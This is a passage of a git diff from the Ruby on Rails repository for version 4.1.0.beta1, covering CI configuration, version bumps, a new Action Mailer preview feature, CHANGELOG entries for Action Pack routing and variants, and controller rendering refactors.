-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/test_helper.rb2
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Gemfile2
-rw-r--r--railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb2
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb9
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/templates/preview.rb13
-rw-r--r--railties/lib/rails/generators/testing/behaviour.rb16
-rw-r--r--railties/lib/rails/info_controller.rb18
-rw-r--r--railties/lib/rails/mailers_controller.rb73
-rw-r--r--railties/lib/rails/paths.rb2
-rw-r--r--railties/lib/rails/railtie.rb6
-rw-r--r--railties/lib/rails/templates/layouts/application.html.erb2
-rw-r--r--railties/lib/rails/templates/rails/mailers/email.html.erb98
-rw-r--r--railties/lib/rails/templates/rails/mailers/index.html.erb8
-rw-r--r--railties/lib/rails/templates/rails/mailers/mailer.html.erb6
-rw-r--r--railties/lib/rails/test_help.rb4
-rw-r--r--railties/lib/rails/test_unit/testing.rake1
-rw-r--r--railties/lib/rails/version.rb2
-rw-r--r--railties/lib/rails/welcome_controller.rb7
-rw-r--r--railties/test/abstract_unit.rb2
-rw-r--r--railties/test/application/configuration_test.rb92
-rw-r--r--railties/test/application/initializers/frameworks_test.rb2
-rw-r--r--railties/test/application/initializers/i18n_test.rb45
-rw-r--r--railties/test/application/mailer_previews_test.rb428
-rw-r--r--railties/test/application/middleware/session_test.rb2
-rw-r--r--railties/test/application/middleware_test.rb2
-rw-r--r--railties/test/application/rake/dbs_test.rb20
-rw-r--r--railties/test/application/rake_test.rb10
-rw-r--r--railties/test/application/test_test.rb47
-rw-r--r--railties/test/commands/dbconsole_test.rb96
-rw-r--r--railties/test/configuration/middleware_stack_proxy_test.rb4
-rw-r--r--railties/test/generators/app_generator_test.rb116
-rw-r--r--railties/test/generators/generators_test_helper.rb8
-rw-r--r--railties/test/generators/mailer_generator_test.rb57
-rw-r--r--railties/test/generators/plugin_generator_test.rb21
-rw-r--r--railties/test/generators/shared_generator_tests.rb16
-rw-r--r--railties/test/isolation/abstract_unit.rb24
-rw-r--r--railties/test/rails_info_controller_test.rb2
-rw-r--r--tasks/release.rb4
-rw-r--r--version.rb2
494 files changed, 9555 insertions, 3334 deletions
diff --git a/.travis.yml b/.travis.yml
index 1e354a8fb0..3ddaf86fb2 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -5,8 +5,9 @@ before_install:
rvm:
- 1.9.3
- 2.0.0
- - rbx-2.2.1
- - jruby-19mode
+ - 2.1.0
+ - rbx
+ - jruby
env:
- "GEM=railties"
- "GEM=ap,am,amo,as,av"
@@ -16,8 +17,9 @@ env:
- "GEM=ar:postgresql"
matrix:
allow_failures:
- - rvm: rbx-2.2.1
- - rvm: jruby-19mode
+ - rvm: rbx
+ - rvm: jruby
+ fast_finish: true
notifications:
email: false
irc:
@@ -31,3 +33,6 @@ notifications:
rooms:
- secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
bundler_args: --path vendor/bundle --without test
+services:
+ - memcached
+
diff --git a/Gemfile b/Gemfile
index e1278e6fdf..ebc4312f64 100644
--- a/Gemfile
+++ b/Gemfile
@@ -12,7 +12,6 @@ gem 'bcrypt-ruby', '~> 3.1.2'
gem 'jquery-rails', '~> 2.2.0'
gem 'turbolinks'
gem 'coffee-rails', '~> 4.0.0'
-gem 'arel', github: 'rails/arel', branch: 'master'
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
@@ -37,9 +36,9 @@ group :test do
gem 'ruby-prof', '~> 0.11.2'
end
- platforms :mri_19, :mri_20 do
- gem 'debugger'
- end
+ # platforms :mri_19, :mri_20 do
+ # gem 'debugger'
+ # end
gem 'benchmark-ips'
end
diff --git a/RAILS_VERSION b/RAILS_VERSION
index 14b6456d31..78dae579e8 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-4.1.0.beta
+4.1.0.beta1
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index aafbd25486..664505f60d 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -110,7 +110,7 @@ what to do in case anything goes wrong:
$ rake all:build
$ git commit -am'updating RAILS_VERSION'
- $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
$ git push
$ git push --tags
$ for i in $(ls pkg); do gem push $i; done
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index dc8c6bdf74..1867a392eb 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,3 +1,28 @@
+* Add mailer previews feature based on 37 Signals mail_view gem
+
+ *Andrew White*
+
+* Calling `mail()` without arguments serves as getter for the current mail
+ message and keeps previously set headers.
+
+ Fixes #13090.
+
+ Example:
+
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ mail subject: "subject", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail # => returns the current mail message
+ end
+ end
+
+ *Yves Senn*
+
* Instrument the generation of Action Mailer messages. The time it takes to
generate a message is written to the log.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 5b6960c8fc..83969d4074 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -41,6 +41,8 @@ module ActionMailer
autoload :Base
autoload :DeliveryMethods
autoload :MailHelper
+ autoload :Preview
+ autoload :Previews, 'action_mailer/preview'
autoload :TestCase
autoload :TestHelper
end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 501fee55aa..275f657f8a 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -50,7 +50,7 @@ module ActionMailer
#
# * <tt>mail</tt> - Allows you to specify email to be sent.
#
- # The hash passed to the mail method allows you to specify any header that a Mail::Message
+ # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
# will accept (any valid Email header including optional fields).
#
# The mail method, if not passed a block, will inspect your views and send all the views with
@@ -229,7 +229,7 @@ module ActionMailer
# An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
# called before the email is sent, allowing you to make modifications to the email before it hits
# the delivery agents. Your class should make any needed modifications directly to the passed
- # in Mail::Message instance.
+ # in <tt>Mail::Message</tt> instance.
#
# = Default Hash
#
@@ -308,6 +308,28 @@ module ActionMailer
# Note that unless you have a specific reason to do so, you should prefer using before_action
# rather than after_action in your ActionMailer classes so that headers are parsed properly.
#
+ # = Previewing emails
+ #
+ # You can preview your email templates visually by adding a mailer preview file to the
+ # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+ # with database data, you'll need to write some scenarios to load messages with fake data:
+ #
+ # class NotifierPreview < ActionMailer::Preview
+ # def welcome
+ # Notifier.welcome(User.first)
+ # end
+ # end
+ #
+ # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+ # method without the additional <tt>deliver</tt>. The location of the mailer previews
+ # directory can be configured using the <tt>preview_path</tt> option which has a default
+ # of <tt>test/mailers/previews</tt>:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+ # on a running development server instance.
+ #
# = Configuration options
#
# These options are specified on the class level, like
@@ -317,7 +339,7 @@ module ActionMailer
# per the above section.
#
# * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
- # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ # Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
#
# * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
# * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
@@ -335,8 +357,9 @@ module ActionMailer
# and starts to use it.
# * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
# really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
- # of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the
- # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER, ...).
+ # of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>,
+ # <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>,
+ # <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...).
#
# * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
# * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -351,7 +374,7 @@ module ActionMailer
#
# * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
# <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
- # object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+ # object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
# implement for a custom delivery agent.
#
# * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
@@ -362,6 +385,7 @@ module ActionMailer
# <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
class Base < AbstractController::Base
include DeliveryMethods
+ include Previews
abstract!
@@ -373,6 +397,8 @@ module ActionMailer
include AbstractController::AssetPaths
include AbstractController::Callbacks
+ include ActionView::Layouts
+
PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
def _protected_ivars # :nodoc:
@@ -404,7 +430,7 @@ module ActionMailer
# Register an Observer which will be notified when mail is delivered.
# Either a class or a string can be passed in as the Observer. If a string is passed in
- # it will be +constantize+d.
+ # it will be <tt>constantize</tt>d.
def register_observer(observer)
delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
Mail.register_observer(delivery_observer)
@@ -462,11 +488,11 @@ module ActionMailer
end
end
- # Wraps an email delivery inside of ActiveSupport::Notifications instrumentation.
+ # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
#
- # This method is actually called by the Mail::Message object itself
- # through a callback when you call +:deliver+ on the Mail::Message,
- # calling +deliver_mail+ directly and passing a Mail::Message will do
+ # This method is actually called by the <tt>Mail::Message</tt> object itself
+ # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+ # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
# nothing except tell the logger you sent the email.
def deliver_mail(mail) #:nodoc:
ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
@@ -542,18 +568,18 @@ module ActionMailer
self.class.mailer_name
end
- # Allows you to pass random and unusual headers to the new Mail::Message
+ # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
# object which will add them to itself.
#
# headers['X-Special-Domain-Specific-Header'] = "SecretValue"
#
# You can also pass a hash into headers of header field names and values,
- # which will then be set on the Mail::Message object:
+ # which will then be set on the <tt>Mail::Message</tt> object:
#
# headers 'X-Special-Domain-Specific-Header' => "SecretValue",
# 'In-Reply-To' => incoming.message_id
#
- # The resulting Mail::Message will have the following in its header:
+ # The resulting <tt>Mail::Message</tt> will have the following in its header:
#
# X-Special-Domain-Specific-Header: SecretValue
def headers(args = nil)
@@ -642,8 +668,8 @@ module ActionMailer
# templates in the view paths using by default the mailer name and the
# method name that it is being called from, it will then create parts for
# each of these templates intelligently, making educated guesses on correct
- # content type and sequence, and return a fully prepared Mail::Message
- # ready to call +:deliver+ on to send.
+ # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+ # ready to call <tt>:deliver</tt> on to send.
#
# For example:
#
@@ -689,6 +715,8 @@ module ActionMailer
# end
#
def mail(headers = {}, &block)
+ return @_message if @_mail_was_called && headers.blank? && !block
+
@_mail_was_called = true
m = @_message
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000000..ecceaf8c70
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,73 @@
+require 'active_support/descendants_tracker'
+
+module ActionMailer
+ module Previews #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ # Set the location of mailer previews through app configuration:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ class_attribute :preview_path, instance_writer: false
+ end
+ end
+
+ class Preview
+ extend ActiveSupport::DescendantsTracker
+
+ class << self
+ # Returns all mailer preview classes
+ def all
+ load_previews if descendants.empty?
+ descendants
+ end
+
+ # Returns the mail object for the given email name
+ def call(email)
+ preview = self.new
+ preview.public_send(email)
+ end
+
+ # Returns all of the available email previews
+ def emails
+ public_instance_methods(false).map(&:to_s).sort
+ end
+
+ # Returns true if the email exists
+ def email_exists?(email)
+ emails.include?(email)
+ end
+
+ # Returns true if the preview exists
+ def exists?(preview)
+ all.any?{ |p| p.preview_name == preview }
+ end
+
+ # Find a mailer preview by its underscored class name
+ def find(preview)
+ all.find{ |p| p.preview_name == preview }
+ end
+
+ # Returns the underscored name of the mailer preview without the suffix
+ def preview_name
+ name.sub(/Preview$/, '').underscore
+ end
+
+ protected
+ def load_previews #:nodoc:
+ if preview_path?
+ Dir["#{preview_path}/**/*_preview.rb"].each{ |file| require_dependency file }
+ end
+ end
+
+ def preview_path #:nodoc:
+ Base.preview_path
+ end
+
+ def preview_path? #:nodoc:
+ Base.preview_path?
+ end
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 7677ff3a7c..c893ddfef5 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -19,6 +19,10 @@ module ActionMailer
options.javascripts_dir ||= paths["public/javascripts"].first
options.stylesheets_dir ||= paths["public/stylesheets"].first
+ if Rails.env.development?
+ options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+ end
+
# make sure readers methods get compiled
options.asset_host ||= app.config.asset_host
options.relative_url_root ||= app.config.relative_url_root
@@ -40,5 +44,11 @@ module ActionMailer
config.compile_methods! if config.respond_to?(:compile_methods!)
end
end
+
+ config.after_initialize do
+ if ActionMailer::Base.preview_path?
+ ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path
+ end
+ end
end
end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 9d00091972..46eb763c26 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,7 +1,7 @@
module ActionMailer
# Returns the version of the currently loaded ActionMailer as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index aa18c512c7..cf790c7487 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -20,6 +20,9 @@ ActionMailer::Base.send(:include, ActionView::Layouts)
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Bogus template processors
ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index b74728ae34..c1759d9b92 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -671,6 +671,27 @@ class BaseTest < ActiveSupport::TestCase
assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
end
+ test "mail() without arguments serves as getter for the current mail message" do
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ headers('X-Special-Header' => 'special indeed!')
+ mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail.to << "jane@example.com"
+ end
+ end
+
+ mail = MailerWithCallback.welcome
+ assert_equal "subject", mail.subject
+ assert_equal ["joe@example.com", "jane@example.com"], mail.to
+ assert_equal "hello world", mail.body.encoded.strip
+ assert_equal "special indeed!", mail["X-Special-Header"].to_s
+ end
+
protected
# Execute the block setting the given values and restoring old values after
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index ab5eaaa9d5..14a1b11b6d 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -15,9 +15,6 @@ class I18nTestMailer < ActionMailer::Base
end
end
-# Emulate AV railtie
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
class TestController < ActionController::Base
def send_mail
I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index e65b73aa66..dc98fb583c 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -4,6 +4,199 @@
*Alessandro Diaferia*
+* Allow an absolute controller path inside a module scope. Fixes #12777.
+
+ Example:
+
+ namespace :foo do
+ # will route to BarController without the namespace.
+ get '/special', to: '/bar#index'
+ end
+
+
+* Unique the segment keys array for non-optimized url helpers
+
+ In Rails 3.2 you only needed pass an argument for dynamic segment once so
+ unique the segment keys array to match the number of args. Since the number
+ of args is less than required parts the non-optimized code path is selected.
+ This means to benefit from optimized url generation the arg needs to be
+ specified as many times as it appears in the path.
+
+ Fixes #12808.
+
+ *Andrew White*
+
+* Show full route constraints in error message
+
+ When an optimized helper fails to generate, show the full route constraints
+ in the error message. Previously it would only show the contraints that were
+ required as part of the path.
+
+ Fixes #13592.
+
+ *Andrew White*
+
+* Use a custom route visitor for optimized url generation. Fixes #13349.
+
+ *Andrew White*
+
+* Allow engine root relative redirects using an empty string.
+
+ Example:
+
+ # application routes.rb
+ mount BlogEngine => '/blog'
+
+ # engine routes.rb
+ get '/welcome' => redirect('')
+
+ This now redirects to the path `/blog`, whereas before it would redirect
+ to the application root path. In the case of a path redirect or a custom
+ redirect if the path returned contains a host then the path is treated as
+ absolute. Similarly for option redirects, if the options hash returned
+ contains a `:host` or `:domain` key then the path is treated as absolute.
+
+ Fixes #7977.
+
+ *Andrew White*
+
+* Fix `Encoding::CompatibilityError` when public path is UTF-8
+
+ In #5337 we forced the path encoding to ASCII-8BIT to prevent static file handling
+ from blowing up before an application has had chance to deal with possibly invalid
+ urls. However this has a negative side effect of making it an incompatible encoding
+ if the application's public path has UTF-8 characters in it.
+
+ To work around the problem we check to see if the path has a valid encoding once
+ it has been unescaped. If it is not valid then we can return early since it will
+ not match any file anyway.
+
+ Fixes #13518.
+
+ *Andrew White*
+
+* `ActionController::Parameters#permit!` permits hashes in array values.
+
+ *Xavier Noria*
+
+* Converts hashes in arrays of unfiltered params to unpermitted params.
+
+ Fixes #13382.
+
+ *Xavier Noria*
+
+* New config option to opt out of params "deep munging" that was used to
+ address security vulnerability CVE-2013-0155. In your app config:
+
+ config.action_dispatch.perform_deep_munge = false
+
+ Take care to understand the security risk involved before disabling this.
+ [Read more.](https://groups.google.com/forum/#!topic/rubyonrails-security/t1WFuuQyavI)
+
+ *Bernard Potocki*
+
+* `rake routes` shows routes defined under assets prefix.
+
+ *Ryunosuke SATO*
+
+* Extend cross-site request forgery (CSRF) protection to GET requests with
+ JavaScript responses, protecting apps from cross-origin `<script>` tags.
+
+ *Jeremy Kemper*
+
+* Fix generating a path for engine inside a resources block.
+
+ Fixes #8533.
+
+ *Piotr Sarnacki*
+
+* Add `Mime::Type.register "text/vcard", :vcf` to the default list of mime types.
+
+ *DHH*
+
+* Remove deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
+
+ *kennyj*
+
+* Fix regression when using `ActionView::Helpers::TranslationHelper#translate` with
+ `options[:raise]`.
+
+ This regression was introduced at ec16ba75a5493b9da972eea08bae630eba35b62f.
+
+ *Shota Fukumori (sora_h)*
+
+* Introducing Variants
+
+ We often want to render different html/json/xml templates for phones,
+ tablets, and desktop browsers. Variants make it easy.
+
+ The request variant is a specialization of the request format, like `:tablet`,
+ `:phone`, or `:desktop`.
+
+ You can set the variant in a `before_action`:
+
+ request.variant = :tablet if request.user_agent =~ /iPad/
+
+ Respond to variants in the action just like you respond to formats:
+
+ respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+ end
+
+ Provide separate templates for each format and variant:
+
+ app/views/projects/show.html.erb
+ app/views/projects/show.html+tablet.erb
+ app/views/projects/show.html+phone.erb
+
+ You can also simplify the variants definition using the inline syntax:
+
+ respond_to do |format|
+ format.js { render "trash" }
+ format.html.phone { redirect_to progress_path }
+ format.html.none { render "trash" }
+ end
+
+ Variants also support common `any`/`all` block that formats have.
+
+ It works for both inline:
+
+ respond_to do |format|
+ format.html.any { render text: "any" }
+ format.html.phone { render text: "phone" }
+ end
+
+ and block syntax:
+
+ respond_to do |format|
+ format.html do |variant|
+ variant.any(:tablet, :phablet){ render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+
+ *Łukasz Strzałkowski*
+
+* Fix render of localized templates without an explicit format using wrong
+ content header and not passing correct formats to template due to the
+ introduction of the `NullType` for mimes.
+
+ Templates like `hello.it.erb` were subject to this issue.
+
+ Fixes #13064.
+
+ *Angelo Capilleri*, *Carlos Antonio da Silva*
+
+* Try to escape each part of a url correctly when using a redirect route.
+
+ Fixes #13110.
+
+ *Andrew White*
+
* Better error message for typos in assert_response argument.
When the response type argument to `assert_response` is not a known
@@ -27,9 +220,7 @@
* Add `session#fetch` method
- fetch behaves similarly to [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
- with the exception that the returned value is always saved into the session.
-
+ fetch behaves like [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch).
It returns a value from the hash for the given key.
If the key can’t be found, there are several options:
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index 8a85bf346a..1d6009bab8 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -23,7 +23,7 @@ Gem::Specification.new do |s|
s.add_dependency 'rack', '~> 1.5.2'
s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'actionview', version
- s.add_development_dependency 'actionview', version
s.add_development_dependency 'activemodel', version
end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7ddf0..ddd56b354a 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
protected
def method_missing(symbol, &block)
- mime_constant = Mime.const_get(symbol.upcase)
+ const_name = symbol.upcase
+
+ unless Mime.const_defined?(const_name)
+ raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+ "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+ "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+ "be sure to nest your variant response within a format response: " \
+ "format.html { |html| html.tablet { ... } }"
+ end
+
+ mime_constant = Mime.const_get(const_name)
if Mime::SET.include?(mime_constant)
AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index fb8f40cb9b..7be61d94c9 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,5 +1,6 @@
require 'active_support/concern'
require 'active_support/core_ext/class/attribute'
+require 'action_view/view_paths'
require 'set'
module AbstractController
@@ -13,6 +14,7 @@ module AbstractController
module Rendering
extend ActiveSupport::Concern
+ include ActionView::ViewPaths
# Normalize arguments, options and then delegates render_to_body and
# sticks the result in self.response_body.
@@ -20,7 +22,7 @@ module AbstractController
def render(*args, &block)
options = _normalize_render(*args, &block)
self.response_body = render_to_body(options)
- _process_format(rendered_format)
+ _process_format(rendered_format) if rendered_format
self.response_body
end
@@ -45,7 +47,7 @@ module AbstractController
def render_to_body(options = {})
end
- # Return Content-Type of rendered content
+ # Returns Content-Type of rendered content
# :api: public
def rendered_format
Mime::TEXT
@@ -102,6 +104,8 @@ module AbstractController
# :api: private
def _normalize_render(*args, &block)
options = _normalize_args(*args, &block)
+ #TODO: remove defined? when we restore AP <=> AV dependency
+ options[:variant] = request.variant if defined?(request) && request.variant.present?
_normalize_options(options)
options
end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 417d2efec2..50bc26a80f 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -50,7 +50,7 @@ module ActionController
end
# Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/module/attr_internal'
require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index c84776ab7a..c0f10da23a 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,21 +1,8 @@
+require 'action_view'
require "action_controller/log_subscriber"
require "action_controller/metal/params_wrapper"
module ActionController
- # The <tt>metal</tt> anonymous class was introduced to solve issue with including modules in <tt>ActionController::Base</tt>.
- # Modules needs to be included in particluar order. First we need to have <tt>AbstractController::Rendering</tt> included,
- # next we should include actuall implementation which would be for example <tt>ActionView::Rendering</tt> and after that
- # <tt>ActionController::Rendering</tt>. This order must be preserved and as we want to have middle module included dynamicaly
- # <tt>metal</tt> class was introduced. It has <tt>AbstractController::Rendering</tt> included and is parent class of
- # <tt>ActionController::Base</tt> which includes <tt>ActionController::Rendering</tt>. If we include <tt>ActionView::Rendering</tt>
- # beetween them to perserve the required order, we can simply do this by:
- #
- # ActionController::Base.superclass.send(:include, ActionView::Rendering)
- #
- metal = Class.new(Metal) do
- include AbstractController::Rendering
- end
-
# Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
# on request and then either it renders a template or redirects to another action. An action is defined as a public method
# on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
@@ -99,7 +86,7 @@ module ActionController
# or you can remove the entire session with +reset_session+.
#
# Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
- # This prevents the user from tampering with the session but also allows him to see its contents.
+ # This prevents the user from tampering with the session but also allows them to see its contents.
#
# Do not put secret information in cookie-based sessions!
#
@@ -174,7 +161,7 @@ module ActionController
# render action: "overthere" # won't be called if monkeys is nil
# end
#
- class Base < metal
+ class Base < Metal
abstract!
# We document the request and response methods here because albeit they are
@@ -214,6 +201,7 @@ module ActionController
end
MODULES = [
+ AbstractController::Rendering,
AbstractController::Translation,
AbstractController::AssetPaths,
@@ -221,6 +209,7 @@ module ActionController
HideActions,
UrlFor,
Redirecting,
+ ActionView::Layouts,
Rendering,
Renderers::All,
ConditionalGet,
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 424473801d..43407f5b78 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,6 +1,6 @@
module ActionController
module Head
- # Return a response that has no content (merely headers). The options
+ # Returns a response that has no content (merely headers). The options
# argument is interpreted to be a hash of header names and values.
# This allows you to easily return a response that consists only of
# significant headers:
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index d3aa8f90c5..b0e164bc57 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -67,7 +67,7 @@ module ActionController
private
- # A hook invoked everytime a before callback is halted.
+ # A hook invoked every time a before callback is halted.
def halted_callback_hook(filter)
